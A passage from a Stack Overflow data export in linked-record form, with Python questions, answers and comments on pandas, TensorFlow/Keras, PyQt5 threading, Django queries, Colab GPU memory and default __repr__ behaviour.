has body: You might consider the "infinite defaultdict" recipe, from Raymond Hettinger himself: https://twitter.com/raymondh/status/343823801278140417 &gt;&gt;&gt; from collections import defaultdict &gt;&gt;&gt; infinite_defaultdict = lambda: defaultdict(infinite_defaultdict) &gt;&gt;&gt; d = infinite_defaultdict() &gt;&gt;&gt; d['foo']['bar']['baz'] = 'foo' &gt;&gt;&gt; d defaultdict(&lt;function &lt;lambda&gt; at 0x1040388c8&gt;, {'foo': defaultdict(&lt;function &lt;lambda&gt; at 0x1040388c8&gt;, {'bar': defaultdict(&lt;function &lt;lambda&gt; at 0x1040388c8&gt;, {'baz': 'foo'})})}) Another option is to implement __missing__: &gt;&gt;&gt; class InfiniteDict(dict): ... def __missing__(self, val): ... d = InfiniteDict() ... self[val] = d ... return d ... &gt;&gt;&gt; d = InfiniteDict() &gt;&gt;&gt; d['foo']['bar']['baz'] = 'foo' &gt;&gt;&gt; d {'foo': {'bar': {'baz': 'foo'}}} And if you must have attribute access: class InfiniteDict(dict): def __missing__(self, val): d = InfiniteDict() self[val] = d return d def __getattr__(self, item): return self.__getitem__(item) def __setattr__(self, item, value): super().__setitem__(item, value) In action: &gt;&gt;&gt; d = InfiniteDict() &gt;&gt;&gt; d.foo.bar.baz = 'foo' &gt;&gt;&gt; d {'foo': {'bar': {'baz': 'foo'}}} &gt;&gt;&gt; Although, that's a little quick-and-dirty, so no guarantees there aren't any bugs. And there are very little guards against, for example, collisions with actual attributes: &gt;&gt;&gt; d.keys = 'should I be allowed?' &gt;&gt;&gt; d {'foo': {'bar': {'baz': 'foo'}}, 'keys': 'should I be allowed?'} &gt;&gt;&gt; d.keys() dict_keys(['foo', 'keys'])
has comment: http://stackoverflow.com/comment/84457582
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84457513

http://stackoverflow.com/q/48777014
tagged with: repr
has answer: http://stackoverflow.com/a/48777037
type: AnsweredQuestion
tagged with: representation
score: 24
possible better answer: http://stackoverflow.com/a/48777066
upvote count: 24
type: Question
has body: If someone writes a class in python, and fails to specify their own __repr__() method, then a default one is provided for them. However, suppose we want to write a function which has the same, or similar, behavior to the default __repr__(). However, we want this function to have the behavior of the default __repr__() method even if the actual __repr__() for the class was overloaded. That is, suppose we want to write a function which has the same behavior as a default __repr__() regardless of whether someone overloaded the __repr__() method or not. How might we do it? class DemoClass: def __init__(self): self.var = 4 def __repr__(self): return str(self.var) def true_repr(x): # [magic happens here] s = "I'm not implemented yet" return s obj = DemoClass() print(obj.__repr__()) print(true_repr(obj)) Desired Output: print(obj.__repr__()) prints 4, but print(true_repr(obj)) prints something like: &lt;__main__.DemoClass object at 0x0000000009F26588&gt;
has answer: http://stackoverflow.com/a/48777066
has title: How can we get the default behavior of __repr__()?
has answer: http://stackoverflow.com/a/48777036
answer count: 3
downvote count: 0
favorite count: 0
tagged with: python-3.x
tagged with: python
accepted answer: http://stackoverflow.com/a/48777036

http://stackoverflow.com/comment/84592271
score: 1
comment on: http://stackoverflow.com/q/48794882
has text: There's no such thing as a "local list". There are local variables, but the objects they refer to aren't attached to any variable or scope.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48800958
score: -1
answers question: http://stackoverflow.com/q/48779780
upvote count: 0
type: Answer
has body: Magento is php based software.You need to create the page using php.
downvote count: 1

http://stackoverflow.com/q/48755709
answer count: 1
has comment: http://stackoverflow.com/comment/84512640
favorite count: 0
has body: I have two lists ListA = [In_3M,Out_3M, Go_3M] and ListB = [In_6M,Out_6M, Go_6M]. The elements in the two list are the variables of Input DF. I want to subtract the first element of "list B" i.e, In_6M with first element of "list A" i.e, In_3M in the Input DF and it store it as a separate variable in the Output df.Then repeat the similar process until the end of the list and store in Output df. ListA = [In_3M,Out_3M, Go_3M] ListB = [In_6M,Out_6M, Go_6M] Input df: ID In_3M Out_3M Go_3M In_6M Out_6M Go_6M A 2 3 4 4 6 6 B 3 3 5 5 6 7 C 2 3 6 4 6 8 D 3 3 7 5 6 9 Output df: ID In_3M Out_3M Go_3M In_6M Out_6M Go_6M IN_3M-6M Out_3M-6M Go_3M-6M A 2 3 4 4 6 6 2 3 2 B 3 3 5 5 6 7 2 3 2 C 2 3 6 4 6 8 2 3 2 D 3 3 7 5 6 9 2 3 2 I have tried many ways to do this but cannot able to solve this. The number of elements in the list are around 20. Please help me if there any efficient way to do this. Thanks in advance
linked to: http://stackoverflow.com/q/48753808
tagged with: logic
has comment: http://stackoverflow.com/comment/84513330
tagged with: pandas
tagged with: python
accepted answer: http://stackoverflow.com/a/48755854
has title: Operations on two lists with in a DataFrame using Python
has answer: http://stackoverflow.com/a/48755854
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84512759
tagged with: dataframe
score: -1
type: Question
tagged with: numpy
upvote count: 0

http://stackoverflow.com/comment/84478257
type: AnswerComment
has text: As explained tuples is better because it is a generator expression. The suggested `[]` will build an intermediate list. The generator expression will build no extra data structures. But thanks for bringing this up. I have added a link to generator expression pep. If you need to debug, then definitely change to `[]` while debugging.
type: Comment
comment on: http://stackoverflow.com/a/48739160
score: 0

http://stackoverflow.com/q/48750199
has answer: http://stackoverflow.com/a/48973806
has answer: http://stackoverflow.com/a/77856087
tagged with: gpu
has comment: http://stackoverflow.com/comment/97458181
tagged with: python
answer count: 10
has body: update: this question is related to Google Colab's "Notebook settings: Hardware accelerator: GPU". This question was written before the "TPU" option was added. Reading multiple excited announcements about Google Colaboratory providing free Tesla K80 GPU, I tried to run fast.ai lesson on it for it to never complete - quickly running out of memory. I started investigating of why. The bottom line is that “free Tesla K80” is not "free" for all - for some only a small slice of it is "free". I connect to Google Colab from West Coast Canada and I get only 0.5GB of what supposed to be a 24GB GPU RAM. Other users get access to 11GB of GPU RAM. Clearly 0.5GB GPU RAM is insufficient for most ML/DL work. If you're not sure what you get, here is little debug function I scraped together (only works with the GPU setting of the notebook): # memory footprint support libraries/code !ln -sf /opt/bin/nvidia-smi /usr/bin/nvidia-smi !pip install gputil !pip install psutil !pip install humanize import psutil import humanize import os import GPUtil as GPU GPUs = GPU.getGPUs() # XXX: only one GPU on Colab and isn’t guaranteed gpu = GPUs[0] def printm(): process = psutil.Process(os.getpid()) print("Gen RAM Free: " + humanize.naturalsize( psutil.virtual_memory().available ), " | Proc size: " + humanize.naturalsize( process.memory_info().rss)) print("GPU RAM Free: {0:.0f}MB | Used: {1:.0f}MB | Util {2:3.0f}% | Total {3:.0f}MB".format(gpu.memoryFree, gpu.memoryUsed, gpu.memoryUtil*100, gpu.memoryTotal)) printm() Executing it in a jupyter notebook before running any other code gives me: Gen RAM Free: 11.6 GB | Proc size: 666.0 MB GPU RAM Free: 566MB | Used: 10873MB | Util 95% | Total 11439MB The lucky users who get access to the full card will see: Gen RAM Free: 11.6 GB | Proc size: 666.0 MB GPU RAM Free: 11439MB | Used: 0MB | Util 0% | Total 11439MB Do you see any flaw in my calculation of the GPU RAM availability, borrowed from GPUtil? Can you confirm that you get similar results if you run th…
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48803214
has answer: http://stackoverflow.com/a/58081444
tagged with: ram
upvote count: 136
downvote count: 3
tagged with: machine-learning
has comment: http://stackoverflow.com/comment/97461129
has answer: http://stackoverflow.com/a/54923885
type: Question
has comment: http://stackoverflow.com/comment/86512269
has comment: http://stackoverflow.com/comment/84722242
has comment: http://stackoverflow.com/comment/89011370
has comment: http://stackoverflow.com/comment/90941675
tagged with: google-colaboratory
has answer: http://stackoverflow.com/a/49665568
has comment: http://stackoverflow.com/comment/93946425
has answer: http://stackoverflow.com/a/48803214
has title: Google Colaboratory: misleading information about its GPU (only 5% RAM available to some users)
has comment: http://stackoverflow.com/comment/103873024
has answer: http://stackoverflow.com/a/48981930
has answer: http://stackoverflow.com/a/51178965
accepted answer: http://stackoverflow.com/a/51178965
has comment: http://stackoverflow.com/comment/93966136
has answer: http://stackoverflow.com/a/49962193
score: 133
has comment: http://stackoverflow.com/comment/90941263
favorite count: 0
has answer: http://stackoverflow.com/a/63828669

http://stackoverflow.com/comment/84444962
type: Comment
comment on: http://stackoverflow.com/a/48723086
score: 0
type: AnswerComment
has text: well your answer works well, so +1 from me!

http://stackoverflow.com/comment/86122278
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48680971
has text: any update on this? i'm running into the same problem. I was thinking of accessing the queryset in the widget but I can't figure out how
score: 0

http://stackoverflow.com/comment/84872522
type: QuestionComment
has text: Care to give an answer and mark it as correct?
comment on: http://stackoverflow.com/q/48738936
score: 0
type: Comment

http://stackoverflow.com/q/48675856
tagged with: pyqt5
type: Question
has comment: http://stackoverflow.com/comment/84351023
score: 0
has comment: http://stackoverflow.com/comment/84351004
answer count: 0
type: UnansweredQuestion
tagged with: multithreading
tagged with: python
has body: I try to execute that code, but the program crahes without error message. if you launch my program and clicked 'collect!' pushButton, sometimes it succeed but it crashes about 70% of time I think I think It must be problem with CollectThread class But I don't know why why this happens? Some good guys plz answer me import requests import pandas as pd from PyQt5.QtCore import * from PyQt5.QtWidgets import * import sys import datetime import time class CollectThread(QThread): def __init__(self, parent=None): super().__init__() self.main = parent def run(self): contents = [] for i in range(20): r = requests.get('http://scoregame.co.kr/game/racing_ajax/moredata/basic/{}'.format(i+1), timeout=None) print('fetching {}st data..'.format(i+1)) for j in r.json(): contents.append(j) print('completed!') class MainWindow(QMainWindow): def __init__(self): super().__init__() self.th = CollectThread(self) self.pushButton = QPushButton('collect!', self) self.pushButton.clicked.connect(self.btn_clicked) def btn_clicked(self): self.th.start() if __name__ == '__main__': app = QApplication(sys.argv) main_window = MainWindow() main_window.show() app.exec_()
has title: PyQt5 QThread crashes when fetching some data
has comment: http://stackoverflow.com/comment/84351016

http://stackoverflow.com/a/53424162
type: Answer
downvote count: 0
has body: It is the wrong import, Try from statsmodels.tsa.holtwinters import ExponentialSmoothing, SimpleExpSmoothing, Holt
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48689740

http://stackoverflow.com/comment/84315733
score: 0
type: Comment
type: QuestionComment
has text: @PhilippVengrinovich In your example, `numbers = [1,5,5,10,7,8,11,13,66,34]`, you have two values of 5. If for the second target number the combination contains a 5, which 5 should be removed from the `numbers` list? First one? Second one? or both?
comment on: http://stackoverflow.com/q/48655612

http://stackoverflow.com/comment/84503344
type: Comment
has text: @Piinthesky great :-) happy coding
comment on: http://stackoverflow.com/a/48750871
score: 0
type: AnswerComment

http://stackoverflow.com/q/48732021
tagged with: numpy
tagged with: pandas
score: 2
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/48733129
favorite count: 0
type: Question
tagged with: python
has title: Converting Panda Document with multiple variables
upvote count: 2
answer count: 2
has body: I'm working on my Pandafile and I still haven't figured it out how to solve this problem. I have following Panda Object: pandaFile = pd.DataFrame([{'var1': 'Restaurant A','var2':'4.5','var3': ['AA','BB','CC'],'var4':['User1','User2','User3'],'var5':['Review 1','Review 2','Review 3']},{'var1': 'Restaurant B','var2':'5.0','var3': ['AA','BB','CC'],'var4':['User1','User2','User3'], 'var5':['Review 1','Review 2','Review 3']}]) print(pandaFile) it looks like this: var1 var2 var3 var4 var5 0 Restaurant A 4.5 [AA, BB, CC] [User1, User2, User3] [Review 1, Review 2, Review 3] 1 Restaurant B 5.0 [AA, BB, CC] [User1, User2, User3] [Review 1, Review 2, Review 3] I would like to get following output: var1 var2 var3 var4 var5 0 Restaurant A 4.5 [AA, BB, CC] User1 Review 1 1 Restaurant A 4.5 [AA, BB, CC] User2 Review 2 2 Restaurant A 4.5 [AA, BB, CC] User3 Review 3 3 Restaurant B 5.0 [AA, BB, CC] User1 Review 1 4 Restaurant B 5.0 [AA, BB, CC] User2 Review 2 5 Restaurant B 5.0 [AA, BB, CC] User3 Review 3 But i get following output: var1 var2 var3 var4 var5 0 Restaurant A 4.5 [AA, BB, CC] User1 Review 1 1 Restaurant A 4.5 [AA, BB, CC] User1 Review 2 2 Restaurant A 4.5 [AA, BB, CC] User1 Review 3 3 Restaurant A 4.5 [AA, BB, CC] User2 Review 1 4 Restaurant A 4.5 [AA, BB, CC] User2 Review 2 5 Restaurant A 4.5 [AA, BB, CC] User2 Review 3 6 Restaurant A 4.5 [AA, BB, CC] User3 Review 1 7 Restaurant A 4.5 [AA, BB, CC] User3 Review 2 8 Restaurant A 4.5 [AA, BB, CC] User3 Review 3 9 Restaurant B 5.0 [AA, BB, CC] User1 Review 1 10 Restaurant B 5.0 [AA, BB, CC] User1 Review 2 11 Restaurant B 5.0 [AA, BB, CC] User1 Review 3 12 Restaurant B 5.0 [AA, BB, CC] User2 Review 1 13 Restaurant B 5.0 [AA, BB, CC] User2 Review 2 14 Restaurant B 5.0 [AA, BB, CC] User2 Review 3 15 Restaurant B 5.0 [AA, BB, CC] User3 Review 1 16 Restaurant B 5.0 [AA, BB, CC] User3 Review 2 17 Restaurant B 5.0 [AA, BB, CC] User3 Review 3 getting multiple rows with users and reviews are wrong. I tried to solve this problem with…
accepted answer: http://stackoverflow.com/a/48733129
possible better answer: http://stackoverflow.com/a/48732369
has answer: http://stackoverflow.com/a/48732369

http://stackoverflow.com/q/48664333
favorite count: 0
tagged with: unity-game-engine
has title: limit the action value in Unity ML-Agents/Tensorflow
has body: I am using Unity with ML-Agents and their PPO implementation. I have one Action to train my neural network on, which has an Imput of -1 to 1. When I log the action I can see that the Network always tries values like 550, 630,-530 etc. How can I limit these to only use values between -1 and 1? I tried to look in Unity for it. Couldn't find any option. Now I am trying to modify the PPO algorithm, but I cannot find anything to limit my values. My logging works like this: My Agent has the AgentStep method: public override void AgentStep(float[] act){ if (brain.brainParameters.actionSpaceType == StateType.continuous) { var actionAC = act[0]; float[] toLog = new float[2]; object.move(actionAC); // some rewards including toLog[0] as reward log toLog[1] = actionAC; logger.AddLine(toLog); } } Logger is a class written by me to just create a csv file. This output looks than like: -1 530.73106 -2 530.73106 ... -234.5 -631.9137 ... thanks in advance.
has comment: http://stackoverflow.com/comment/84327556
tagged with: python
has comment: http://stackoverflow.com/comment/84327896
downvote count: 0
tagged with: ml-agent
type: UnansweredQuestion
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/84327617
has comment: http://stackoverflow.com/comment/84327492
has comment: http://stackoverflow.com/comment/84328853
score: 1
has answer: http://stackoverflow.com/a/53807103
has comment: http://stackoverflow.com/comment/84328815
type: Question
upvote count: 1
answer count: 1

http://stackoverflow.com/a/48801845
answers question: http://stackoverflow.com/q/48801661
downvote count: 0
has body: You can use itertools.groupby to group all the elements first &gt;&gt;&gt; from itertools import groupby &gt;&gt;&gt; k = [(k,len(list(g)) for k,g in groupby(sorted(l))] This will give you tuple for each element of list of the format (element, frequency): &gt;&gt;&gt; [(2, 3), (3, 1), (4, 1)] Next create a mapping dict from this list of tuples &gt;&gt;&gt; mapping = dict(k) &gt;&gt;&gt; mapping &gt;&gt;&gt; {2: 3, 3: 1, 4: 1} Now replace all elements of original list where the value in mapping dict is greater than 1 &gt;&gt;&gt; [map[k]*k/len(l) if map[k] &gt; 1 else k for k in l] &gt;&gt;&gt; [1.2, 4, 3, 1.2, 1.2]
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/a/48651818
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/48651523
has body: The easiest way is this: class_index = tf.reduce_min(tf.where(tf.equal(names, class_name))) Note that it works fine, while the class is present in names, but returns 263 − 1, when it is not (like Bike in your example). You can avoid this effect but removing tf.reduce_min, but in this case class_index will evaluate to an array, not scalar. Complete runnable code: names = ["Car", "Bus", "Boat"] _, class_name = tf.TextLineReader(skip_header_lines=1).read( tf.train.string_input_producer(tf.gfile.Glob("input_file.csv")) ) class_index = tf.reduce_min(tf.where(tf.equal(names, class_name))) with tf.Session() as session: coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(coord=coord) for i in range(4): print(class_name.eval()) # Car, Car, Boat, Bike for i in range(4): print(class_index.eval()) # 0, 0, 2, 9223372036854775807 coord.request_stop() coord.join(threads)
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84302540
accepted answer of: http://stackoverflow.com/q/48651523
type: Answer

http://stackoverflow.com/a/48794801
type: Answer
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/84596618
answers question: http://stackoverflow.com/q/48792847
has comment: http://stackoverflow.com/comment/84631930
accepted answer of: http://stackoverflow.com/q/48792847
type: AcceptedAnswer
downvote count: 0
has body: Signals wouldn't solve your problem 100%. Because monthly_donations and yearly_donations depends on the current date to give you the right answer. Signals are usually a good solution for when multiple parts of your code is interested in the same events (in your case it's just the Account instances that are interested in new Donation objects). Also when you have no direct access to the code (for example a third-party app, or a built-in model like User or Permission where you can't modify it). In your case, you have access to the Donation model, so you could perhaps override the save() method: class Donation(models.Model): # db fields ... def save(self, *args, **kwargs): super().save(*args, **kwargs) # call the actual save method update_account_totals() # execute this code every time the model is saved But, as you already mentioned, you don't want to update this information only when a new donation is created. Actually, all the information you are currently storing in the Account model can be calculated on-the-fly. Using more advanced QuerySet expressions we can do all the work directly in the database. And even though we are going to calculate it every time, it can be pretty fast. Specially if you cache the results. This kind of query is called aggregation. I will write down an example for your use case, using the annotate() function. The annotate() function is a special function that "adds extra fields" to each instance of the result set, based on the criteria we define. Usually those fields we add with the annotate() are the sum of something, or the count, or the average. In your case, we can list all Account objects, and for each object, we can annotate with the sum of monthly donations, yearly donations and all time donations. We can even use this calculated field to check if the account is a subscriber or not, using a case/when queries. It's a little bit more complicated than trivial QuerySets like filter(), all() that we use all the time, but I took the time to…

http://stackoverflow.com/comment/84544619
type: QuestionComment
comment on: http://stackoverflow.com/q/48759396
type: Comment
has text: What model are you using ?, the answer depends on it.
score: 0

http://stackoverflow.com/a/48667608
answers question: http://stackoverflow.com/q/48666671
type: AcceptedAnswer
has body: You can utilize pandas module for this data processing task as follows: First, you need to read the JSON file using with, open and json.load. Second, you need to change the format of your file a bit by changing the large dictionary that has a main key for every airport into a list of dictionaries instead. Third, you can now utilize some pandas magic to convert your list of dictionaries into a DataFrame using pd.DataFrame(data=list_of_dicts). Finally, you can utilize pandas's to_csv function to write your DataFrame as a CSV file into disk. It would look something like this: import pandas as pd import json with open('./airports.json.txt','r') as f: j = json.load(f) l = list(j.values()) df = pd.DataFrame(data=l) df.to_csv('./airports.csv', index=False)
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/84374628
downvote count: 0
has comment: http://stackoverflow.com/comment/84333671
accepted answer of: http://stackoverflow.com/q/48666671
has comment: http://stackoverflow.com/comment/84356940

http://stackoverflow.com/comment/84568352
comment on: http://stackoverflow.com/q/48783304
score: 0
has text: My machine has 16gb of RAM
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84346579
comment on: http://stackoverflow.com/a/48673874
score: 0
type: AnswerComment
type: Comment
has text: Now it found the pattern, but the arguments didn't match it. For some reason you have `uidb36` instead of `uidb64` as an argument. Unfortunately it's hard to guess what actually happened without the code.

http://stackoverflow.com/q/48680524
type: UnansweredQuestion
tagged with: python
tagged with: c++
has answer: http://stackoverflow.com/a/48680898
has title: how to change type in python dictionary in function?
type: Question
answer count: 2
score: 0
has body: I have a really large group of pandas dataframe. and transfer own column from json format string to dictionary. import pandas as pd import pymysql db = pymysql.connect(XXXX) df = pd.read_sql(balabal).to_dict(orient='records') After we get dictionary, we need transfer one entity says df[0]['paragraphs'] from string to dictionary. Here is the code. i['t'] is key and i['p'] is value. import json def str2dict(input_str): j = json.loads(input) ret = {} for i in j: ret[i['t']] = i['p'] return ret And I call this function by: for i in df: i['paragraphs'] = preprocess.str2dict(i['paragraphs']) It works fine. but at this part i['paragraphs'] = preprocess.str2dict(i['paragraphs']) it did unnecessary copy. I want my str2dict function be like this: def str2dict(input_str): j = json.loads(inputs) clear memory where input_str pointed. and let it be a new dictionary for i in j: input_str[i['t']] = i['p'] so that we can reduce the copy assignment. And I'm confused that in Python everything is object, so the variable are like shared_pointer in C++. But where does there object be implement(initialized). Does all objects' pointee store in heap, and in stack of function all variable are pointer. when we do this a = 1 a = {'a':1} a = 2 Python will new a dictionary and let a point to it. and when a = 2, program will delete dictionary on heap and point to 2. but how about in function? def test(a): a = {} return s = 1 test(s) s is still 1. I think a = {} create a dict and create a local variable a to point it, this a have no relation to parameter a. So how can I use parameter a to let output s = {}. And in the end, where can I learn how Python implement (where the variable store, what happens when it type changed)and memory staff? I think I should learn something about Cpython. Do you guys have any suggestion about what books or videos should I read? thx :)
has answer: http://stackoverflow.com/a/48680893

http://stackoverflow.com/comment/84376439
comment on: http://stackoverflow.com/q/48689158
score: 0
has text: This sounds like a shell question, not a python question.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48703655
has body: You should wrap your LSTM definition inside a variable scope and then reuse it for validation and testing. Try the following def LSTM(X,weights,biases, reuse=reuse): '''from input to cell''' with tf.variable_scope("foo") as f: if reuse: f.reuse_variables() X=tf.reshape(X,shape=[-1,self.input_size]) X_in=tf.matmul(X,weights['in'])+biases['in'] X_in=tf.reshape(X_in,shape=[-1,self.num_steps,self.num_neurons]) '''cell''' cell_=tf.contrib.rnn.BasicLSTMCell(self.num_neurons,forget_bias=1,state_is_tuple=True) _init_state=cell_.zero_state(self.batch_size,dtype=tf.float32) outputs,states=tf.nn.dynamic_rnn(cell_,X_in,initial_state=_init_state,time_major=False,dtype=tf.float32) '''from cell to output''' results=tf.matmul(states[1],weights['out'])+biases['out'] return results Change your training, testing code as below logits=LSTM(X,weights,biases,False) loss=tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits,labels=y)) optimizer = tf.train.AdamOptimizer(learning_rate=self.learning_rate).minimize(loss) train_prediction=tf.nn.softmax(logits=logits) valid_prediction=tf.nn.softmax(LSTM(valid,weights,biases, True)) test_prediction=tf.nn.softmax(LSTM(test,weights,biases, True))
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48699523
type: Answer
accepted answer of: http://stackoverflow.com/q/48699523
score: 0

http://stackoverflow.com/q/48770411
has title: how to convert columns to numeric while keep those failed intact in pandas
type: AnsweredQuestion
score: 4
type: Question
accepted answer: http://stackoverflow.com/a/48770447
upvote count: 4
answer count: 2
tagged with: pandas
downvote count: 0
favorite count: 0
tagged with: python
has body: I read my text file into pandas dataframe. All columns are object datatype. What I need to do is convert all those columns that appears 'numeric' to numeric columns. If there are ust a few columns, it's very easy. But my real dataframe has over two hundred columns. I wonder if there is anyway to convert those columns to numeric while keep those which are unable to be converted intact. For example, I have the dataframe below. df = pd.DataFrame({'a': ['1', '2', 'NA', '4'], 'b': ['a', 'b', 'c', 'd'], 'c': ['aa', 'bb', 'cc', 'dd'], 'd': ['11', '22', '33', '44']}) df'a', 'b', 'c', 'd' = df'a', 'b', 'c', 'd'.astype(int) I got error. How can I convert column a and d to numeric while keep b and c as object? Again, my real dataframe has many columns, this is just an example to illustrate my point. I don't want to do allthe hardcoding to convert dtype for every columns.Thanks a lot.
possible better answer: http://stackoverflow.com/a/48770731
has answer: http://stackoverflow.com/a/48770447
has answer: http://stackoverflow.com/a/48770731

http://stackoverflow.com/comment/84519633
comment on: http://stackoverflow.com/q/48759396
score: 0
type: Comment
type: QuestionComment
has text: According to what I see, you have an image that, depending on the case, takes a fragment and must be shown in the delegate. What mouse event do you want to use: mousePressEvent, mouseMoveEvent, mouseReleaseEvent? And what should the behavior be, more details please? and if it is using the image it shows it would be great.

http://stackoverflow.com/comment/84589632
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48793689
type: Comment
has text: not lowercase "IT" but lowercase "LT". Stands for the less than operator. See documentation here: https://docs.python.org/3/reference/datamodel.html

http://stackoverflow.com/q/48733155
has title: How to web scrape without the text turning into an giant array?
score: 1
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/84466843
favorite count: 0
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84465674
tagged with: web-scraping
upvote count: 1
tagged with: python
has body: I am supposed to create script in Python for saving the views from varioues wiki pages formattes almost like Python dictionary I use this code: from urllib2 import urlopen as uReq from bs4 import BeautifulSoup as soup expURL = 'https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/en.wikipedia/all-access/all-agents/Albert_Einstein/daily/2015100100/2015100100' uClient = uReq(expURL) page = uClient.read() uClient.close() But it turns the text into a big array and I cannot work with it like a dictionary anymore. When I copy-paste the data into my code, it works as I would like it to work. Is there any possible function or way to keep the data as it is without turning it into an array? Any help is much appreciated!
tagged with: dictionary

http://stackoverflow.com/comment/84295949
comment on: http://stackoverflow.com/q/48648116
type: Comment
type: QuestionComment
has text: @user929304 Ok, I updated my answer for a final time. Short answer: It depends!
score: 0

http://stackoverflow.com/a/48746322
downvote count: 0
type: Answer
has body: you could use this to generate the number-th lexicographic perutation of N elements: def permutation_from_int(N, number): ''' get the number-th lexicographic permutation of length N. N: the length of the permutation 0 &lt;= number &lt;= factorial(N) -1: the number of the desired permutation ''' # assert 0 &lt;= number &lt; factorial(N) ret = [None] * N select = list(range(N)) for i in range(N - 1, -1, -1): index, number = divmod(number, factorial(i)) element = select[index] ret[N - 1 - i] = element select.remove(element) return ret then you just have to generate (and keep a set of - if you want to avoid duplicates) random integers that represent the permutations: N_TESTS = 17 strg = 'ABCD' N = len(strg) N_MAX = factorial(N) seen = set() for _ in range(N_TESTS): number = randrange(N_MAX) while number in seen: number = randrange(N_MAX) seen.add(number) perm = permutation_from_int(N, number) print(''.join(strg[i] for i in perm)) note that this may loop forever if the number of test is bigger that the space of all the permutations... which prints (e.g.): DACB DBCA BADC BDCA DCAB DABC CADB DBAC DCBA ... but as mentioned in the other answers: if you have a permutation of 20 elements the chance of hitting a repeated permutation is very small!
answers question: http://stackoverflow.com/q/48745222
score: 1
upvote count: 1

http://stackoverflow.com/q/48795388
answer count: 1
tagged with: keras
favorite count: 0
has title: ValueError: Error when checking target: expected dense_20 to have 2 dimensions
has body: I want to run the following code in Keras. It classifies the images into 7 classes using TensorFlow as the back-end test file. The test file has 7 jpg images, and the training file have 21 images. Each image is 227 X 227 X 3. The model gives the error listed below. Can any one suggest how to resolve this? X_train=X_train y_train= y_train (x_train, y_train)=(X_train, y_train) (x_test, y_test)=(iX_test, iY_test) print('x_train shape:', X_train.shape) #print(x_train.shape[0], 'train samples') print( X_train.shape[0], 'test samples') X_train = X_train.astype('float32') X_test = iX_test.astype('float32') X_train = X_train / 255.0 X_test = iX_test / 255.0 y_train=np.array(y_train) y_test=np.array(y_test) y_train = np_utils.to_categorical(y_train) y_test = np_utils.to_categorical(y_test) num_classes = y_test.shape[1] y_train=np.array(y_train) y_test=np.array(y_test) **model = Sequential() model.add(Conv2D(32, (3, 3), input_shape=(227, 227, 3), padding='same', activation='relu', kernel_constraint=maxnorm(3))) model.add(Dropout(0.2)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same', kernel_constraint=maxnorm(3))) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) model.add(Dense(512, activation='relu', kernel_constraint=maxnorm(3))) model.add(Dropout(0.5)) model.add(Dense(num_classes, activation='softmax')) # Compile model epochs = 25 lrate = 0.01 decay = lrate/epochs sgd = SGD(lr=lrate, momentum=0.9, decay=decay, nesterov=False) model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy']) print(model.summary()) model.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=epochs, batch_size=21) # Final evaluation of the model scores = model.evaluate(X_test, y_test, verbose=0) print("Accuracy: %.2f%%" % (scores[1]*100))** Error: ValueError: Error when checking target: expected dense_20 to have 2 dimensions, but got array with shape (21, 7, 2, 2, 2, 2, 2, 2)
has answer: http://stackoverflow.com/a/48796685
has comment: http://stackoverflow.com/comment/84593154
type: UnansweredQuestion
score: -3
tagged with: python
downvote count: 3
tagged with: tensorflow
type: Question
upvote count: 0

http://stackoverflow.com/comment/133321555
comment on: http://stackoverflow.com/a/62222676
score: 0
has text: Well, I loved the clarity of this beautiful answer, but I concur with Abu about the version issues with Pandas. It has tripped me up. Also, well I started to use the pickle approach for speed and space.... but strangely I do NOT find my pickles smaller. Just experimentally saved a strip of annotated ECG: 272.1MB (pickle), but 155.8MB (csv). That said, writing and reading the pickle took only 0.48s and the csv took a very irritating 11.49s !!
type: AnswerComment
type: Comment

http://stackoverflow.com/a/48793261
accepted answer of: http://stackoverflow.com/q/48793222
answers question: http://stackoverflow.com/q/48793222
has body: Try this. pd.Series.map takes a function, dict, or Series. df[2] = df[0].map(match).fillna(df[2]) # 0 1 2 # 0 00100 Alpha 09010 # 1 00100 Beta 09010 # 2 05300 Theta 09004 # 3 95687 Gamma None # 4 05300 Sigma 09004
type: AcceptedAnswer
score: 4
type: Answer
upvote count: 4
downvote count: 0

http://stackoverflow.com/comment/84304079
has text: Tensorpack indeed solves exactly the same problem.
score: 0
comment on: http://stackoverflow.com/q/48651439
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48674107
accepted answer of: http://stackoverflow.com/q/48673914
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84424427
answers question: http://stackoverflow.com/q/48673914
has body: why not try using this method: https://www.tutorialspoint.com/python/string_replace.htm and try to replace, ' for '" and the second ' for "'... str = "this is string example....wow!!! this is really string" print str.replace("is", "was") print str.replace("is", "was", 3) the output returns: thwas was string example....wow!!! thwas was really string thwas was string example....wow!!! thwas is really string print str.replace("'", "'"") print str.replace("'", ""'", 1) use ' " as needed to avoid errors...
has comment: http://stackoverflow.com/comment/84346899
upvote count: 1
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/84349164

http://stackoverflow.com/q/48672676
